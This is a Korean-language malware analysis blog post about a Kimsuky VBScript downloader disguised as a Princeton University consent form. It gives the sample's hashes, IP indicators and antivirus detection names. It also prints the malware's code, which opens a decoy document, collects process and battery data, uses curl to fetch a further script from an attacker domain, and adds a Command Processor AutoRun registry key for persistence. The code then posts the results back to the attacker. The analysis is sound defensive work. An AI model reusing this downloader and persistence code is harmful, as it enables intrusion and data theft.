꿈을꾸는 파랑새

오늘은 북한 해킹 조직인 김수키(Kimsuky) 에서 만든 악성코드인 Consent Form_Princeton Study.vbs(2023.8.14)에 대해 글을 적어 보겠습니다.
먼저 해당 악성코드의 해쉬값은 다음과 같습니다.
파일명: Consent Form_Princeton Study.vbs
사이즈:34.2 KB
CRC32:249e824b
MD5:ca8728ce8f77cfc804f9ce343de9c9ee
SHA-1:1af5d54ed7dc4e872684461a75f0cc20edc02231
SHA-256:470027cf8dd33b201b465b109a9876d0a75667be907af770eb76ff5798496ae4
일단 해당 악성코드는 vbs 로 만들어진 악성코드입니다.
유포되는 이름은 다음과 같습니다.
470027cf8dd33b201b465b109a9876d0a75667be907af770eb76ff5798496ae4.vbs
Consent Form_Princeton Study.vbs

Cerbero Suite Advanced 로 본 바로가기 코드
Cerbero Suite Advanced 로 본 바로가기 코드

일단 해당 악성코드의 핵심 코드는 다음과 같습니다.

Sub wsxrfv0(strFolderPath)
	On Error Resume Next
	Set objFSO = CreateObject("Scripting.FileSystemObject")
	Set ws = CreateObject("WScript.Shell")
	Set objFolder = objFSO.GetFolder(strFolderPath)
	For Each objFile In objFolder.Files
	filespec=strFolderPath+"\"(+)objFile.Name
	If LCase(Right(objFile.Name,4))=".lnk" Then
		Set lnk = ws.CreateShortcut(filespec)
		path=lnk.TargetPath
		icon=LCase(lnk.IconLocation)
		If Right(icon,4)="(.)exe" Then
			icon=icon+"(,)0"
		End If

		icon1=Left(icon,InStr(icon,",")-1)

		If path="" And Right(icon1,4)="(.)exe" Then
			path=icon1
		End If
		If Left(icon,1)="," Then
			icon=path+icon
		End If
		file=LCase(Right(path,Len(path)-InStrRev(path,"\")))
		If file="msedge.exe" Or file="chrome.exe" Or file="outlook.exe" Or
        file="whale.exe" Or file="firefox.exe" Then
			tmp=objFile.Name
			objFSO.CopyFile filespec, ws.SpecialFolders("appdata")+"\1"+tmp,True
			objFSO.DeleteFile filespec
			objFSO.CopyFile ws.SpecialFolders("appdata")(+)"\1"(+)tmp,
            ws.SpecialFolders("Desktop")+"\"(+)tmp,True		
		End If
	End If
	Next
End Sub

해당 스크립트는 주어진 폴더 내에 있는 바로 가기 파일(.lnk)을 분석하고 특정 프로그램들의 실행 바로 가기를 찾아 바탕화면으로 복사하는 역할을 합니다.
1.Sub wsxrfv0(strFolderPath):스크립트의 메인 서브루틴을 정의하고 폴더 경로를 매개변수로 받습니다.
2.On Error Resume Next: 에러 발생 시에도 스크립트 실행을 중단하지 않고 계속 진행
3.CreateObject("Scripting.FileSystemObject"):파일 및 폴더 조작을 위한 FileSystemObject를 생성
4.CreateObject("WScript.Shell"):스크립트 실행 및 시스템 명령을 수행하기 위한 WScript.Shell 객체를 생성
5.objFSO.GetFolder(strFolderPath):주어진 폴더 경로로부터 폴더 객체를 가져옴
6.For Each objFile In objFolder.Files: 해당 폴더 내의 모든 파일에 대해 반복
7.If LCase(Right(objFile.Name, 4)) = ".lnk" Then`:파일이.lnk 확장자인 경우에만 아래 내용을 실행
8. ws.CreateShortcut(filespec):바로 가기 파일을 분석하기 위해 WScript.Shell 객체를 사용하여 바로 가기 객체를 생성
9.lnk.TargetPath: 바로 가기의 대상 경로를 가져옵니다.
10. 아이콘 관련 처리:
바로 가기 아이콘의 위치를 가져오고 나서 필요한 처리를 수행
.exe 아이콘을 가리키는 경우, 0을 아이콘 위치에 추가
아이콘 위치에서 첫 번째 아이콘의 경로를 추출
11. 대상 경로 및 아이콘 관련 처리를 통해 특정 프로그램의 바로 가기를 확인
"msedge.exe","chrome.exe","outlook.exe","whale.exe","firefox.exe"와 같은 프로그램의 실행 바로 가기를 찾습니다.
12. 해당 프로그램의 바로 가기 파일을 %AppData% 폴더 내의 1 폴더로 복사
13. 원본 바로 가기 파일을 삭제
14. 복사한 바로 가기 파일을 바탕화면으로 복사
해당 스크립트는 주로 바로 가기 파일을 분석하고 특정 프로그램들의 실행 바로 가기를 찾아 바탕화면으로 복사하는 목적
다음 코드입니다.

Cerbero Suite Advanced 본 vbs 코드
Cerbero Suite Advanced 본 vbs 코드

On Error Resume Next
Result=""
aaa = ""
isProcessRunning = ""
Set ws = CreateObject("WScript.Shell")
Set WMI = GetObject("WinMgmts:")
Set Objs = WMI.InstancesOf("Win32_Battery")
Set fs = CreateObject("Scripting.FileSystemObject")

pp="cmd.exe /c explorer ""https://grekop(.)online/brad/share.docx"""
re=ws.run(pp,0,true)
wscript.sleep(1000)
For Each Obj In Objs
  isProcessRunning = isProcessRunning & Obj.Description & " "
Next

Set Objs = WMI.InstancesOf("Win32_Process")
For Each Obj In Objs
  isProcessRunning = isProcessRunning & Obj.Description & " "
Next

If fs.FileExists("c:\windows\system32\curl.exe") Or
fs.FileExists("c:\Windows\sysnative\curl.exe") Then
	    Result = Result+"curl ok "+"ENTER"
Else
		Result = Result(+)"curl no "(+)"ENTER"
End If

Result = Result (+) "ENTER":

If InStr(isProcessRunning,"nortonsecurity.exe") Then

	Result = Result+"norton "+"ENTER"
	aa="curl -o ""c:\users\public\videos\video.vbs""
    https://grekop(.)online/brad/ca.php?na=reg(.)gif" 
	a=ws.run(aa,0,true)
	aaa=" "
	wsxrfv0 ("C:\Users\Public\Desktop")
	wsxrfv (ws.SpecialFolders("Desktop"))
	wsxrfv (ws.SpecialFolders("appdata") (+)
    "\Microsoft\Internet Explorer\Quick Launch\User Pinned")
	re=ws.run("cmd.exe /c reg add
    ""HKEY_CURRENT_USER\Software\Microsoft\Command Processor""
    /v AutoRun /t REG_SZ /d ""wscript.exe c:\users\public\videos\video(.)vbs"" /f",0,true) 
	Result = Result + "short ok "

	If fs.FileExists("c:\users\public\videos\video.vbs") Then
			Result = Result+"video vbs ok "+"ENTER"
	Else
			Result = Result+"video vbs no "+"ENTER"
	End If

	Set Post0 = CreateObject("msxml2.xmlhttp")
	Post0.Open "POST", "https://grekop(.)online/brad/re(.)php", 0
	Post0.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
	Post0.Send (Modi(Result))

그리고 해당 코드의 설명은 다음과 같습니다.
제공한 코드 조각은 악의적인 목적으로 사용될 수 있는 코드로 보입니다. 아래에서 해당 코드가 어떤 동작을 수행하려고 하는지 간단하게 정리하고 설명해 드리겠습니다.
1. 코드 실행 시작:
코드가 실행되면 먼저 오류가 발생하더라도 스크립트가 중단되지 않도록 설정
Result,aaa,isProcessRunning 변수들이 초기화.
2. 객체 생성 및 설정:
WScript.Shell 객체를 생성하여 외부 명령 실행을 가능
WinMgmts:WMI 객체를 얻어 시스템 정보에 접근할 수 있도록 합니다.
Win32_Battery 클래스의 인스턴스 정보를 수집
파일 시스템 조작을 위해 Scripting.FileSystemObject 객체를 생성
3. 외부 웹사이트 접속 및 명령 실행:
pp 변수에 저장된 명령을 실행하여 웹사이트로 이동하고 문서를 엽니다.
ws.run 함수를 사용하여 명령을 실행하며 실행이 완료될 때까지 기다립니다.
스크립트 실행을 1초 동안 일시 중지
4.배터리 및 프로세스 정보 수집:
Win32_Battery 클래스의 각 인스턴스 정보를 반복하여 배터리 정보를 isProcessRunning 변수에 추가
Win32_Process 클래스의 각 인스턴스 정보를 반복하여 실행 중인 프로세스 정보를 isProcessRunning변수에 추가
5. curl.exe 파일 존재 여부 확인:
파일 시스템 객체를 사용하여 c:\windows\system32\curl.exe 또는 c:\Windows\sysnative\curl.exe 파일의 존재 여부를 확인
해당 파일이 존재하면 Result 변수에 curl ok ENTER를 추가하고, 그렇지 않으면 curl no ENTER을 추가합니다.
6. 결과 처리 및 악의적 동작:
Result 변수에 curl 실행 여부와 관련된 내용을 저장
이어서 isProcessRunning 변수에 배터리와 프로세스 정보를 저장
그리고 ProcessExplorer를 통해서 보면 다음과 같은 명령어가 실행되는 것을 확인할 수가 있습니다.

ProcessExplorer 본 악성코드 실행 부분
ProcessExplorer 본 악성코드 실행 부분

C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding 은 Windows 운영체제에서 사용되는 명령어 COM (Component Object Model) 객체를 생성하고 실행하는 역할을 수행 해당 명령어를 통해 특정 기능이나 작업을 수행할 수 있는 COM 객체를 활성화하고 실행하는 것이며

여기서 사용되는 COM 객체의 식별자인 {75dff2b7-6936-4c06-a8bb-676a7b00b24b} 는 일종의 GUID (Globally Unique Identifier)로 특정 COM 객체를 고유하게 식별하는 데 사용되며 객체에 대한 정보는 윈도우 레지스트리나 다른 설정 파일에서 찾을 수 있습니다.
/factory 옵션은 COM 객체를 생성하는 데 사용되며 -Embedding 옵션은 COM 객체를 현재 실행 중인 프로세스에 임베딩하도록 지시하며 해당 명령어는 COM 개체를 특정 작업이나 기능을 수행하기 위해 실행할 때 사용이 됩니다.
그리고 해당 구글 드라이브에서 있는 문서는 다음과 같은 내용이 있는 것을 확인할 수가 있습니다.
해당 주소는 다음과 같습니다.

https://drive.google(.)com/file/d/1q6Gb8xOFu8cvB3WCnloAoXM_N6CGsBDc/view

구글 드라이브 에 포함된 문서
구글 드라이브 에 포함된 문서

ADULT CONSENT FORM
PRINCETON UNIVERSITY
TITLE OF RESEARCH: South Korea's Renewed Indigenous Nuclear Weapons Debate
PRINCIPAL INVESTIGATOR:G. John Ikenberry
GRADUATE STUDENT RESEARCHER: Charlotte Fitzek
PRINCIPAL INVESTIGATOR'S DEPARTMENT: Department of Politics
Key information about the study:
Your informed consent is being sought for research. Participation in the research is voluntary. The
purpose of the research is to better understand the key drivers of the renewed discussion in South
Korea about an indigenous nuclear weapons program. We are hoping to better understand the
motivations, processes, and key actors in this discussion, as well as how the ROK-U.S. alliance
may be affected by such a development.
성인 동의서
프린스턴 대학교
연구 제목:한국의 재개된 고유 핵무기 논쟁
주요 조사관: G. John Ikenberry
대학원생 연구원: Charlotte Fitzek
주요 조사관 부서: 정치부
연구에 대한 주요 정보:
연구를 위해 귀하의 사전 동의를 구하고 있습니다. 연구 참여는 자발적입니다. 그만큼
연구의 목적은 남부에서 새로운 논의의 핵심 동인을 더 잘 이해하는 것입니다.
한국의 고유 핵무기 프로그램에 대해. 우리는 이 내용을 더 잘 이해하기를 희망합니다.
이 논의에 참여하는 동기, 과정, 핵심 주체, 그리고 한미동맹이 어떻게 이루어졌는지 알아보겠습니다. 동맹
그러한 발전으로 말미암아 영향을 받을 수 있습니다.
프린스턴 대학교 관련 한미 동맹 관련한 것을 보니 안보 관련해서 국가 안보 관련 종사하시는 분들이 타켓이 아닐까 생각이 됩니다.
사용하는 IP 주소는 다음과 같습니다.

104.18.14(.)101:80(TCP)
104.18.15(.)101:80(TCP)
108.177.119(.)102:443(TCP)
108.177.119(.)95:443(TCP)
108.177.126(.)132:443(TCP)
108.177.126(.)139:443(TCP)
108.177.126(.)94:443(TCP)
108.177.126(.)95:443(TCP)
108.177.127(.)84:443(TCP)
108.177.127(.)95:443(TCP)
108.177.96(.)138:443(TCP)
142.251.31(.)138:443(TCP)
173.194.69(.)94:443(TCP)
173.194.79(.)94:443(TCP)
173.194.79(.)95:443(TCP)
192.178.27(.)195:443(TCP)
192.178.49(.)195:443(TCP)
239.255.255(.)250:1900(UDP)
34.104.35(.)123:80(TCP)
34.87.124(.)238:443(TCP)
63.250.38(.)85:443(TCP)
74.125.143(.)94:443(TCP)
8.8.8(.)8:53(UDP)

2023-08-22 08:37:31 UTC 바이러스토탈에서 탐지하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Downloader/VBS.Agent.SC191731
ALYac:Trojan.Downloader.Script.gen
Antiy-AVL:Trojan/VBS.Kimsuky
Arcabit:VB:Trojan.Valyria.D20B9
Avast:Script:SNH-gen [Drp]
AVG:Script:SNH-gen [Drp]
BitDefender:VB:Trojan.Valyria.8377
Cyren:ABRisk.CALS-3
DrWeb:VBS.DownLoader.2846
Emsisoft:VB:Trojan.Valyria.8377 (B)
eScan:VB:Trojan.Valyria.8377
ESET-NOD32:VBS/Kimsuky.Y
GData:VB:Trojan.Valyria.8377
Ikarus:Trojan.VBS.Kimsuky
Kaspersky:HEUR:Trojan-Downloader.VBS.SLoad.gen
McAfee-GW-Edition:BehavesLike.VBS.Dropper.nv
Microsoft:Trojan:Win32/Casdet!rfn
NANO-Antivirus:Trojan.Script.Vbs-heuristic.druvzi
Rising:Trojan.Kimsuky/VBS!8.13D95 (TOPIS:E0:0YMl8pV9JLB)
Symantec:ISB.Downloader!gen407
Tencent:Vbs.Trojan-Downloader.Sload.Bnhl
Trellix (FireEye):VB:Trojan.Valyria.8377
VIPRE:VB:Trojan.Valyria.8377
ZoneAlarm by Check Point:HEUR:Trojan-Downloader.VBS.SLoad.gen
이며 그리고 whale.exe 이라는 프로세스가 있는 것을 보면 네이버 웨일 브라우저인데 이것이 있는 것으로 보아서 한국 쪽도 목표가 되지 않았을까 생각이 됩니다. 그리고 기본적인 보안 수칙을 잘 지키는 것과 그리고 이메일도 변조할 수가 있기 때문에 조심해야 할 것입니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band